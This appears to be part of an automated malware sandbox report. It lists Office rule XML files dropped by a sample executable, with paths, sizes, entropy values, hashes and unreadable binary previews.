Preview:	<?xml..9t.....O.,...n...w..........L.....pm.\|..&qq........9..r.t,..!+i^PU...-.MV...w.....c.o........s...\.....;x....U..G..a.c...~..} D ){..2[...}]3.p.J..9..z...L..q....`Wy.......;.N.0.<..a.b...mv^}......x.....n..U....x.V....W..F.i.O... ".<........-.+..0E..~......jy.mY._D?o...^Y..O..W.:D.....H_.......j.7.oWV4....^...............".. ......J.C.F....=..qW.Cpl...w.=..E../.-..E.t3....o.n..`.$...?.JX...Y...l$(.......d...W.L8#.`...vX.5.......;....om].....^..C0..H.T....Zo8.N."8......./.;.Ip3.w.u.%...K.......3. ..A.0..}v..+S......#...h.V.fZ_si..w.....t,....\|....B....!....]rQ!..+..}O4...p..x.d.S....9........E........7..5..D..f.......f...0.36...........8eO...hT.Z2...e_UU.cz...E.x...x.....`....X....Xz).P..3.u...N3.o.AM U.....M.........D&%.p...46...9.B......?k.b:h\|.;b.c.....`m.gt.#.(...wY.....I~.W.......i{.Xo.r.}...b 3..5....l.km.U(.....[.Xk.m.....]}Q.Qup....%./.].+........p.f...Tb~.*l.4sU.Kww..H.o......!.C2)..~e...C..g...Z2............ \|.ay..._

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703250v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.874854145590489
Encrypted:	false
SSDEEP:	48:80kVfGQApEAZOLQVVaVuCqWR3gcScRRSBjtD:+GQ9gwECXfxRojV
MD5:	9EDFA892BE2EEDD40CDE83796B0893DF
SHA1:	183ADFB29DB3EF2BD092BA2A21D9928FA6FA8B37
SHA-256:	629A3C852B80C4A9AB80EF84C1D7244FFEA45BA47451984193C094DE382A7D72
SHA-512:	CE5C37EAC28F2C51C95658C19DD676D06CD245C1A47677809DF386AAEDF7F6822BC4312055349154F357DC37441CF0945E21925EEA3CB50359E3A95D09B6A3B9
Malicious:	false
Preview:	.<?9..'.2.<b_0SY'\1.\|..Z..u.L...`.....?.u...!..h...$$..P...J....:a Kr......U.2.Q.5h....Z...Y..'....U....$^- A..O[D...T..X.....E...&...x.....PQ.O....x+._.x.z........"8.L.Sh.d..BGT.V...6l..b...M......6.!..k...$vi....H....W......QIR%J.$.V..)..Uj..g.....q..Ln..`.0.....hE....4..3&.I.......m...?...'2....i.a.S..W.T%..i.w../.jl...=M1W..i=.=..K.a...06(<J.V..2....v......O%. Q.A.4.!..5...4....9 ....2Ye.ON..+$....u.........a..o.\|..`..D......@....}....i~......k...-...y......9p=a.W......::x.u.....@.Wr%X87..3...K...?Z..k....&Z<...D.zpPE8qk....^qIq.....(S]Y.I4r.q..`..86y`.U>..D26X..r.....O.6P_.6. I.n2.....j../V.Y....Zv....c....1....cp..=Z..G..LW...-.luY.x.......M"kK.{....,........-M..... mU.....i...@..`..>.Q.&._._..O8I;.0....,..78..YDS........H......y..=.o.G...-......K....w..p.b.1.N."^..\|;@.r...I.NAY8.NQ"")[....(Z;.l...D.(VS.zoL..t;.!...H...;".....eC=.L....^+7...g.. ..fW%Jz$k..X.........r\.#......[S..0L.[......9..W..(]m......@a..J,<?.9.\|.j<..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703251v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.880009502823183
Encrypted:	false
SSDEEP:	48:Y4NxAcX8I8CCAyMDyUKX81bZy3DzqUdkz6uUN4P5uUSD:YuAi8xLMDvKXdz7d+6xwuU6
MD5:	1AAF5F56C0190EE3327887FA3323B0F7
SHA1:	B5FD8E5DBA3BE82A9F692E2C6ED61F4544918C23
SHA-256:	024B43982431EAE532DEBCB147E322B6783F4BA02973EBFF7F9FBF604F1A30FF
SHA-512:	A61E28F90E9DA91BE037624631D0CDEB918C4C53B0E3B4AEB0C1D6C8735A4C17BC8A208CEBF880893CDD5E2701BA1D9C545F3C0E00BD4FBE5D147B25D153D745
Malicious:	false
Preview:	.<?g#.#...>...a..f.l..T.5}Q.5.F^..G..YL...v.2c.C...;...%.!......g.+V+.f..l..p.G.i.O....b=\.o\\|..F.A..W.....s.........!.......<.z..i,o\.l.e9...+:..a....!te.0V.T?#.l.;B....N\|(.@D......;..\......T#=.4l }...A.Fc..b...b.K....u..r..R...P.C...l A.-...d..cH.U.\......$..y...p>..v9.......V.o......1..k..i...)o:..6..D/.(....;H. ~..uI..t..b.}....g`.6~.,."..A?.../H.........fZUu{4~...,.(....'WMho;z....../N.I...n..G&.y.....\[........T..b.c.x;.hf.E.W..t..;\F.j9.*"..je.....L.ts....W.J^.R.....?....K..@.......)-.t.]8..?x......q._.6....Y.v\|.0..........t'....bP..{.....f..?.w.A......y~..8.R.k....,.c..C.PzAr........F.&.....0.f+.S=z.If..)..[Ec.+...S..laa.@..+.T."...'.u.Rv........q..S.....J....sK...........u.....y.......Z...0.#.0.~..]...J.Z.../^.LI.US.1]...z0................[.....t.ZX\.q..X...).t....1#..]...b.%.#.-....2JI...vU.C3#..^........@...w.+....h\|.. .>.>.k.....SEr.r......".z./`U.....N.}(Q].1.UJHH.P)t.....e^.V.{.....%...\..Q9\|....!l."h.>.NP1.r.\|...3..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703300v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.884298387267888
Encrypted:	false
SSDEEP:	48:4yjFs0rxTV6pm9WUy6RxcwkJbzB6HymT3VaF1D:LzrJU/KxNobzB6SmzA
MD5:	161443B4C2AE71C0FED603DD661A7C78
SHA1:	F62587F28C125AF8B94152EA39C88DD229CE3B24
SHA-256:	6A73A6B64623F6AA2106BAA275A6F03167B93E5126B87BBE133A94763BEFA21E
SHA-512:	003C15D65A86E748A9201FCBDF84C403EFB22B91DEB0A3DCB8CA62C58F3A5A187DAA9E5FE2F2E2D369089F3E001A7CC54290A5CF4EDED9DDE3D738D5F0308CD5
Malicious:	false
Preview:	.<?.U.h....j....g.._..Y.SR.@..5^.b(w.. .%.b..K8Sr......../..>.-..%..'.3..3.y\|'..c.S...p....<a.W.S.....jM.._...].....8.l.V.q..@...?I..4..(i..Mb..&J.%..f.4.d.ct&.H..^.I5ku..~3.C.MZZ.:.'._Jv..J.....q.P"...gf...g......=..`...G5q...B%sa...O.......b.Q..`...OyH..G_.S[..!.JW4>.........l.d..V#.CAH...._.66Z.%g.B.u.......~.>.....@..>.b92#..b.<.ZBT....\..`?........6u......E..k..oj.w..s.j.....B.=M......h..+.0".........n....n......$.._ .1...bZz.n7...M...gz.....6...57..g.:...tW..NI.NQ....![u..2..>.D}.pD.p....hl.o...1&.1FLA.....JS ...8.R....... c..<tn.E.V{q.....6R.q.2...sv&..E...In9l..r..W......S.....tx....H=T.\...p..kW..5.o.<N....=k...4..z.4.c.Y.d-2..W..mcp..w...a\._.5...v\n.h..1r<..OTT./DF...S....0k...~^.%u..Y.....A. RQD...j..,m..Zg.Q.6..}S.&..]..fz...-\.);...x.\|Z.t..<}....yU.,.w.Q&...o..!2s.Px...g/E...$.#;A......j......^.......&-.ym.......tv...N..^.0&.;.i.........3....m'L0Q.*0lw)[,#....k..P.'..2.g..Z....G$..#&.....c6Zh..D7c..E.....'Ow.!.^....g.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703301v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.898572428615119
Encrypted:	false
SSDEEP:	24:zjiStw05nsHk3O+jl8O07PUb1o7cI29g0H0TA/gfm5dpe25jtKo3raxip1AjhXsy:zHFhVjlR0e1YT2PgXMpe25jtomK0H7OD
MD5:	C653DE23BE88CD4750C03618FF675222
SHA1:	414222F73C35ED90B4FE55353F575EC5166BDDB7
SHA-256:	A8CB98984A4AEA09A193A8C1E420766A0738AADE0A3D854A9438DEAE86E74BF6
SHA-512:	DC9DFB2255D1F62A208F375C81D8DA965C6E769A1DB51780CBB1F74DF104EC227E20E65DBB5CEF982AA7FF34A61CAB39F9234C4C37E703B997DAC0F9B876EC57
Malicious:	false
Preview:	.<?...D..j.k...D.$.h.X.0}....-!.........Z...UB.o.......l#..<yv.j....#.$...)=.L......h..,?.y.0...P..V....,.........jz......F.....G..$.B...80..y......-.V......... .!.....%.....t....f..e....H..MgC..D...7......m..N...80..r'...~.O4.0...T@._.T...3.:q..X.......6...[...A:7#.DL...uV.v..tR........R...m.l"..x..D...q.. ...#.q..F0... $........&lu..y>..%..x....w5......6..oi....(.M.B.2w..!..T..WvW.T.<....]...WR/`9....3W...G..=.]C.~ %T.....v.-...ET6(V.;.R.)U.V.4M.h.V7...d....9..G.<.9./.....i....L...#sm5_..iv....3Q)...RR..@..y...iU..}\|..x<EY.DI.....\z.A.....`...5.^.<.....I...(.X............\f!O....DY.....L..I..aS.)Ad..u.n...Y..a...PU..)0QH5}.../..JK..p.d.......q...8ZP/.9D.>n.q....Z. ..[`...(..X..T.n.:w...b.(B.!+.....&z.3..x.......`.z....7B...^..`X.....7.&L...2.rn..s..k.._a4OE.J...r.PY........._.%...9....Mo..t8'..":~...v...hO_...X...;.cp\.../..U...3....vh.X.D.u..D.ma...=._P.s...\.../L...r.=...2k.h.......t..TR..6.Y2x...\....b ..[\|.6R

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703350v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.903557969138971
Encrypted:	false
SSDEEP:	48:+5GwBlJpSPlmPTK7mVlCoNmzzecoJW/tRMJF/aWq2YD:+4wBsATK7mVso4feC/Ds/c2E
MD5:	601377DD6887C16D20CB7211E31A5297
SHA1:	FB96CDB22ED902F113E205C820E00FC7D33D54DF
SHA-256:	5FBFBC2A8D5D920011DF89581A39F2E42F5705B1E39ACE052F625C5C9C10CC42
SHA-512:	E2CD7E8739E1DE535912C76EFDDF2B3B0F993CBAB3969AD166B8CAEB787E903C4F2AA037FD9B8030448D368C277606B849B334C3A602B7D76343743D669FE881
Malicious:	false
Preview:	.<?&...v......a.d.qE.5........4..{..6W.q=V.y<m.sGM..#.....R<.:.2+O.0R.S.CEi.Q..m........;..u...<q.z.......N.w...l.g.f..&qD~I.V....z.U..FL..........E...J^..$y.&^....o....QYQ.p.K.g\.f...=6 .coJl....%4\|..pc...%..6...2.:.Q......`kL.+..,..\'.]S..(T@Q...0...e..+...G...P.4....P7bE.9B..\.....@.3]5@.Yp.....W.X...7....x.p..bj.....xD..=.].d...\.........O...Ot.....q.....(.t.[.=..\|.?.gX..k.}..f.c.t=O..[5X..:.?.x}....7....f.......g)....\|.O........I..Yg.(5.....P..g.B..d.......(F_.^./..e.+....".m..>]._..(UF..3."..ID[Z..^..J..N..3D..t.._.,..t.g...r...~..zGB....cp.-Q.[#......&..+..#A tfj!.C...?1S....O.B.>L.\].\|..T:%gf..'v\|.,vrwoRILc.;.mL.$..v..CEj}..\|..Tt........[....s...O.7..FkO...b.i. z8m..8\|.....0.V.".s.+b..\|........Y.5.\.,.0.V.y..k)D...,...]...H'4T..@...d..-......;.#f...PlRH?..S...%....Z.\..p.<..5..(zu.qN).....L~I.e(....I....ux.8i.S.Y.[.g.Y.<.x...k.....1.@.u\|-..8.o.].y4...M.../l.1.0..h..4.K.G..L=q8.Tr.`.H..M..Q..V.>R...@6....9*..-.-.Z...Dzj!./S?g..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703351v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.908545279893249
Encrypted:	false
SSDEEP:	24:5B87vnyInfFhrNlS9xfAEoDw10p2OkNf1/QRYIUGh3JUM27pb0PKQ2qVMWzyHuOX:5O7vyIntl2fA92Z/Y5UYE7N0PSQoxD
MD5:	F53B41A1FFC5928DF3467E76826752E9
SHA1:	81441E22772F6727078408592AF4C4D109E1A78B
SHA-256:	965F8178EAA35C1D4103F6F57D04F5FC9AA425CA5B5AC660707B882B066E29BE
SHA-512:	AF609D7EA18602EFDB37E43CFBF5C8BCB6CE3584DAB8A1C188D5B385DC97843B0EBB4EA586B35A578228BB650021EEA885DF945D5CDC0A35A23C38C03BBE2BD0
Malicious:	false
Preview:	.<?7.x....(UV...b..N....M..Y.C/.D.a@.z-~@...A+g..EJd..E.y...d...J..}.E.l.s.. .R<.._ ...l...._%....GC..a-...`:.t..h..#.r$..ft...W.........]>....7N..h.....:s..`.n.._$....I.j........bLQX.v.F..'[......o.O...I..:L.X%..i.3........!B.N......C.R.........:.I{..{2.Y....7;O.d?!L@o......=...]..._....~]l".k.YQF....f.wq...(_@...'..eU.7.g.4...I.J./.C..........A..}...q...8.U6.+.9...K.....O..Ad.qUp..l..M.A.0d...t...7..\|=?i...%.y....&.$v-..Vbn<>.2.0....y.}.....7".#....xp...E....z^..K....A2.4.X.\-..}.....&..%. R.m.....z..[8$....'..7..3....e.Y.b...0.D.>...['....0i..0...sT..I9.;q2..8.g%.>$.........~lO.r.\..j.T........x..!...p;....eS.sRQ(k..4V.....B.t...p....%....".....tj..B.p..`O..kw}x...k...4.>.)..}lOZ.r."......b,..........=)*...C.T.K.}..=.:.....p..........K..D.Yks.`.s.....8{.>..Pdx.....r.v.1.x. ..qy....,.v.../.<;./....../...r...y.=.FZ.:.[1....9( .\|....G......(.y...?..2E@N....3.........kZ.5.....\b.D.}!P..c.K...t0.....N.6.:..p5..O..._`......j.6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703400v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.8877324272488085
Encrypted:	false
SSDEEP:	48:nKkbmWLhUdu0oPqphVrXmxkJFRkgbPMED:na0hUuPqpnrkkZbPMQ
MD5:	C8D85E785D252F77847D31222B410CEF
SHA1:	F67502DD7FD6C1A7C9101A4730C64507B308D0AB
SHA-256:	30B537A9654C7CB16EF8A54CB11130AE8F5C1EBA55AC5E9E758FF1E473F4FEAD
SHA-512:	F4D21B1906EFDD2BD2C5C6D0A973494FD066AE2B951020AF35C689923BFC09CCF31BFE3C4CCDA0F3D6E21370E66619DFAA2FD1B7419EFEC7189D8E529278C706
Malicious:	false
Preview:	.<?&......g.7o].T.A..0qdUZ/.p..?C...VZ:x.....@.7i.(}...w2...........N.vq.e......R.wX.^/._.f.S..;.L..>]....-.e../>..IU.....cHUCdh9...UqT.;p..h..Ff..\|z....K.@hz}.9...\.P..^.1nG...i...M.....\|.........`.HW.....~[M.aK.<.M..._....A.T..yQ.p:....._%.....^F...vG.o....^[mr.(RH.y..l .\.~..=..V..{..R.A\]....9..-...`}...Q..a@.........y......^.fCI...............P..sL\SG.^M.ap\...0.....0.C.....}..r..9-.NS....=.pII.x....[.y.....\.-...............Rt.\...C<.;l..@....a..>.K .&..<v.....,.t{.....Y..O.6Wh...g[...vb....r.^)J...)8#o..)....o..F...."'O.....`............@j....u5.\..I....X/.%.Oi.V...'..m.....v.P..5..C'.$?U...tE..YH....K.>.N0H2u:..U$..........Sa]."......9....Q@...*n....UK%......}....&%....@N..d#z...09.DZw...!....~....;..gu...3..).......y.E?ZPf]0.s.Y...........S.k.....SSqD.......=al..l.........3?.]........V.J...l.....S...R.Y\...!...RD..H.E...h.......Q'......r....B......pm^..8...E.OD..p.g...;R` ..Fv..cE Q.D..7.s..8......e.6..I..P..bK-._..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703401v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1759
Entropy (8bit):	7.890743125623741
Encrypted:	false
SSDEEP:	48:HiODWzcAO8VTVxkjJJ9DIbMQah9rTh6rQc34L/oxZuHTz9D:CFO8Fw1J2Mv9nhLCM/ccXF
MD5:	F97FBAE475E4C46247EA7962E8B2FFD8
SHA1:	BB47A2CFD56C7CDADE9FAC83C9428B1FAC9FDFDF
SHA-256:	D746859DA45BD4DD8F4ED856B36D90236CB7CCF6A2718CB78CF499500AB41135
SHA-512:	BDA4AC83FE884FDF4D5AF06598EB144726A3DD96FC8537C87AF91FB52DA9B14EBEEDE56F2077545C7832B54FEA25486C8D09172301C2DB0A9E9355AD6D5353AB
Malicious:	false
Preview:	.<?4..k.4yn...8...I.2..).d....o.+....i..^=..7r...`.(.e..U..5.kIj.@.p.9W.A"..dp..x?..i..A....".......Vh.M1..tGk....&.....8..T.J....Zm..UQ.Lz..8d~...{..@...#.u.+T.... L.$.R..%.Kwt.8J....z.......`M......82F...G\>n`......~9v.PZrq..K.5...%..R.fi.UKKc..I.1.&/.`q.6...o...w..jT.G;.c.S..c.R..}.y+..>^.:....G.X..R......c....&..@.[\|o.y.b2+.......P....i.Vs..}_.3.BF...h.v....$..l..U-QE.5.hHY.x..../...~J......,....(&.\..).....L.q..(.U.9..\|.\|..j.DzH!.l....Q:..].R.........w....!..X........{[.(.#y..T..~.....k..k#.?.....g.fz>`...k..i1..im\|._.k.@o.Jnc....P.y....R.q..do.Q..7^...b!....-.....F`y..Oi....#.w...~w..............28..n.T.*.v.L.W.\|...v.....Hd.Gq.jT@...f...S.G....lk...%...2..,(...J......U....tVr.(.z.J;W[.y..e...q.. ..`....4.'......l.^LR.C.....U..a.u'..(...3....s......x...F:R.=cjp...d9..Z..NX.-..~.........)......o...a....]U...=.....X....D..:e3...`$....@Aq.UU~...1.<....J...F....U.c....<.p......tZ...(zS.gGhh..H...Ev..b.5_...j&.).p)....x..#

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703450v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.883968289033932
Encrypted:	false
SSDEEP:	24:kJtdHFTHkSTZ+uZJnvAMW+YKkKhL5XCx5Hrn6TAdPprXDnDF16BLHVD4sM2lgSIh:ktJ+Eb9OAL5mb6TGRrXPF16BLiXRJD
MD5:	782C4FD34F8619CF7D86D336D1B1648D
SHA1:	F090EB9F876260F35A5315DD70F94C998816B682
SHA-256:	7D59337E82D5EB8AED7BD89A3ADE3FD686A35217EF65ADE33CBE5116E2DA3155
SHA-512:	674A3304A4746BB77103FDBC66A7893823568C2996159EC9E474D39367C6DA72CA3C07D300A7B93CD293587BDEB5BCFD3888BE52622F7739D56D3B21D3400029
Malicious:	false
Preview:	.<?... L.{....:..@....=.....;..r.)pG.;_...}..........s...<%.......y.]..L........O_Hw.AJ8.{.2..$.....[.w...%.........L.{`:.E&?J.h7......k4.3k@q;....d.)...(.F.Xz.$.t..#7SX4..`...F.......2..{@......`~.AB..j/..wI'p;....c..P.WW.O....ES..."....`.Yr...m.......\|..4z.....<......m"_Q3.. ...#..P{...1..k..m.....b.....\|.ue...c.R.-..j.)@iH.EE....$T.q.#...:w.@J..t/.$....b..S..uv..;....#.l.4.z.....<A..%#.[....>@$....K..5NG'..l//QQ...n.F.}.V....g..C-.O....2....9(c..."..1..2....S..=z.N.T.:...k<6T.Ow...vfaW.X....e.\5.......7'...vgt...ms.....h].Y.F..Z.3x.#O...K0e....Q.s.....}.+_ 0.......?..ZR.j.bdj0=.K.i{x\..W.U.d.T..u.1/..aB..o..CQ......^q>._O4=^.q..S..P..q...4..T..5..Y.......~.x..'-y...I.}.&..R..g..rb...........@.F..v...7ZF8..V... .......%._....!.z.5......g.9.....I..h6.<./....F.....XS.k....._..8I,{...KN...b.A\|QH..z[.\o...........G7m..Na..#.](....2..y..Qn.D8A.w.....T]..jG..;...:&.xO@{.~p..R.Z...g...W["<b.}}.R..7............]:.P1......N......x."n..T]*1.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703451v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.8967841371583205
Encrypted:	false
SSDEEP:	24:+dMAzMYRJHvgZzk/b5s8wPJSNEWKDSQXThoEx2XbxT9IsbboT2+j++ro/QbgFtYo:+pJHIjvANEx/0Lx1x+j++xbWtpfnD
MD5:	10273DD0129DE44E00A815185437239B
SHA1:	6907B04C3FC3E7EDAE643247D3ADBBB178442F1C
SHA-256:	8482F44CC8C16CFC9BE5BDBCAF00898892039D9BF13531B3CDD58D45F3D76101
SHA-512:	12EE2FF35FFD13E617E637AF40C9E861081CC227990F1713D0FD1D020C1708FFA23E0CE2801058E96A0583CE52DFC4778598637E18D49BF09E9CBE993771DF01
Malicious:	false
Preview:	.<?".q..w..$...........y.c.u,9.s4..&.%.\$...yD....A..9...d&Vr'6b.......Hw..C".D.8y7..o.wjAc.pc6............#..!.X..%QP\|........E.r.UC..`.{...I...#E.\...?.....vt\Y...K..`:..({..`.hC!....Q.S.../RMf\dB..R......E.K.K?...^g..U...B .4.[.....l...@H.BA.............T..u.jL...2@.8t......4[....m..N.....m..;.....&`..{......+.w.X.z."...).-.E......S..3R..i.H..+.:\.7.!a3........ ......)...C....0,W....7..B....... I...E..:5#..(..{ah..TG..b....KQ.l.P{?.D0.u.b.;!....3...?..w.NV..".]Ff$hk..j.@.M....6......_.......P;.8...%...L..$-.B_JB.....W..?.E..g.z2..2.P.cl...Q..QZR.b..G........@..:^.......@0......u].DP.P1.q..}>.<...#.....>]a...V../\..+.N.I.Yp..3...lIo........xH..gR..Cqe1Nh...0......z...Skw+.....3...h.`m ??......DV..#.k..r{r7.F...bshs.x..<A..@.T..8S......e....\...{q....s..j...f..+....ar."..O=...[g.T....'.0.....Hv...q9J..K......)6...I.A. .'x......{V........o....o:.....O<.5..^.yZf....`..Bf=...>..v.:4o.o..J.\|G/.=....B..<K..gi:cj..o.....r

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703500v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.889267639159811
Encrypted:	false
SSDEEP:	24:5KXO9TVJrm5zShhjZAiMUlahz1/zoPWVtQTHV5tcP++AKgBufg3Q6phkTmcDObD:5yO95ZszShhjZlmhzZ5fgC8Kufvr+ID
MD5:	A220518D480B4D2A4AAAD355986F37FB
SHA1:	BF0A03702C2DA987576F53A2F2FD925D0B36481A
SHA-256:	E0B76B8C341C961D328E872E7D1A2093DBC03393C2240AFF8EB64269488C0EF1
SHA-512:	F5DA90884DCA1C7F0034406D91CB8EEE0D1A5788BB51DADD6DD89D80ECD0E45388BCA4B9A2E4092C6F42B7C5756F3E164D41ADBE8B93A0209EC745F8D624FD6F
Malicious:	false
Preview:	.<?.x.Y........$a..e.id.....pc.V6...?.Ydt>.2t]...`...qlNud.O=....'Z...L.aA..M.BnU8..T....is./.We8..?lr$...:q...L6..!.P.5ef..&Gq.f..Oy.6=. ..5...}..V....dr..c.@..8.Q26..+.........#.".".......>.B\.....]Ixx.J..-.n.<C.....~..a.G.#.$[.....Aw..^V/..4...TV....a...Lt..=U.v..{.......t....._d*[.I.3s7.a....=..H...53...Z]C...WS.A........=7.:....5AP1l...]...Ex.. ..<...D.....k..5..f..\.......&..(..m...)lc}9.Lm_.....=B..B .uRjm..aE$.3..^.#..Wi.!.A...V3.......b^s..=....a...'.....l:.H0c.H...?.u'V)x..=.:.E......s....._.D......%.....U.2.Lm'......<..6.$fS..i'T....T.hA}.k.....T..a..9k.~.....l;..1.%......._..........9...O.+c....:im.2..cC~O..[s...?>.....Xs..t...Ne..a0......x.&...n..i.._.&..%.p.......hnc..H EG.0.l.....l....u.....G.S..[.3i"I.o=.].=.%.YGqC1./.......,.zM...D... .r.@.'^.a{.......L..........P'..5.H....7.~H.U.^.....'{...+n..n.J.._)......../&P.+..."L)..O$QY..R.A.\#....z>.\.!P./Z<....g..qv...P..!&k..JooQ}.O..%N.<.W.7;.LB...;w.r`Cj%.O.nJ....o.].h1...QG..r}.F...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703501v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.903657551775342
Encrypted:	false
SSDEEP:	48:9+0zAWJRzBpFRSd93+vQ/AvtsWJg2k9zD:9tRzBpSd902Wq9f
MD5:	6EE0C59D00D94D299BDB318E1187C6E1
SHA1:	6E16C07F6105E9F64AB30B62E384362FDEE77F04
SHA-256:	B5C98F7005FDBB0925A733C3CB49AE3B266120E2EF578F4EC178AD328BB8E6B7
SHA-512:	529ED7A595CC637E6807F5B38BA797D97E8FBE1410F60A7DE3C7719AF2C4991939935E65D79676483C0008A0FD550AAA5B5BD9FDA612389DA06FB662D8DB79C8
Malicious:	false
Preview:	.<?.b;.3t.m..AmY.`J.$C...Me.............:....L..`@[.....iV...(3......_k.A..c..rA....h.[vT._>........d....8......k.J..:.Ms..4N..z[..'..=D.@I.....L..\|%..Wt...0Cqs..`o.$X.0:..5Y...Wd.\.$..Q.{....A....t...OT8{.ano.....d.EP......a...d!.+...\.a..,5C.1.r.J...f...zo.......z.[^L........7/.y...f....o#..!.....455....>Q.[....iv.`O"....."N.!Jk..,...TQ..z.....'.(.. ,...>.z..<...~..u.?Ph...y.ap...'.....?..:.,..9v....../....).O'..I.T..Jg.i..'<#...r.S=...g=.m.L&.52=]d.....c".....l..Y......az.:.e..BX.8...i...&..)...^Y.~....^v..4.......V`.......@7...-1uN.._:'..B.5j....q8O.X...kG.........,...j _....X...u.......a]:.L.\S.&@*..C...\...#h..(..&.......bV}...P....G...G`..a.A.hs..^.....1d.{...By5......^>.......q..D,.I..x.Z......X..6.:...2.nCm.\.VS.?...<.!..0(..[.._..:...d...k..\|....R.YY].ko]v.O...B....T%......]E.....3...T2x}....$.../(H./#.l....Z6...]"..F/1@x.:/..5.......G.3..L.^a........Ak./...`......m.p.........\..`..?...+^j}e..`...h..1./.@..c\"@!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703550v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.873461173885393
Encrypted:	false
SSDEEP:	48:nbzprGgRRyGezJBG8Ffjlxr6CTxT24wDi5D:HHRyGX89lECTxT1w+x
MD5:	DA03F34B5E9613A3A74AB1ED7FF94690
SHA1:	AD2602703FB71AE3D3FF1E6CFD8397D773F678C3
SHA-256:	52A7D6DB17F7A3D06B495BECC5424AE45EDDE53795C42BC4F332B4E8C7439CC5
SHA-512:	A52CFC1324FA83F6CFAEED53C5A26E94A001A7E94AFCBCCBF941D14A9D7C4AEB4BFC4A304ECF8924C1B0BEB79467C1D8E2F41107BE2737BD34988A215936A052
Malicious:	false
Preview:	.<?..K..A.._..>:....W]...H.c..^l..:.X.......WCf.lB.Q....j.b1L....f..o} iv.n53 9....A.:k..../.IR..t...K...(.9k.4....h=U.wz..w,...}..F..+&.6/0.Dq\..m~.L./..XN2?`Lws-G.%D.=1...".o.[....U.hH.....7........uJ.Td.L;..S.....P.G...I......).n.n...kl..9=W..-#.V..t.....o.....w..G^..w....".B.c#D..z[..H..4.....T....UTr.U.<Qy..m......U..2.x....Vu.x.\|...I.O.t..9..4.....2.]s.N...`...~S..B.P.I&-.G.<..EcH...nB...P.].^........(...@.....H ..Z..9..... ......-.4.Q.....C.6.P.%4;..Q...{.3=G..{..Y~....(..2.9...@...g......m?.M....4....U..I.6..j0.e.-gm.(&..u.n.6.....8n....`....'.h....@.o]..nO..p...?K....p1...V..:.....'..6._E.F.#/..4...!v.z)..y.....>.:.hN..0.o?#P.u.>.e...0]..]...6..$ >.%..0...P.&.3.\..0......>IE....Gd..l."..~`.".H.P..m.\l2...m....3q......u+Y.f...P..T..}=Z-.HE.9.i.F...b...:....F'.y.x.......Iw#..R..X..iE..0.^......Jc7..;<..el.d9.....x..b......=..W.@.E..,..c....IJ.;..j...-o........(..ngs.O.!...Q......':...jV..@\->}X..J0.4.MJ..v\..1'...cL....@e

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703551v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.87955081698386
Encrypted:	false
SSDEEP:	48:buIyX3wGCdbCdRajLl6wll2mwh37bT6ZTiqtGXDtQD:tU3w75LwQhwh37P6ZftGJM
MD5:	ADB4C860DA11CF3FD9F274D0DFC3C61C
SHA1:	475C14CEA39EC38A8E7B6AA4F444EE42FEDA2FEA
SHA-256:	E7520E87AB0046B8FD152108F02C66271BA02E372FA4AFCE3FD4CC4EE580083F
SHA-512:	58CD0F3B7D5036E51687068F3E01E31CE4954A0D01B36D896C0613A857349B0322787118EC4D089533477FCB3760BA6730A3DD5B362BEDE29189E2B29F784687
Malicious:	false
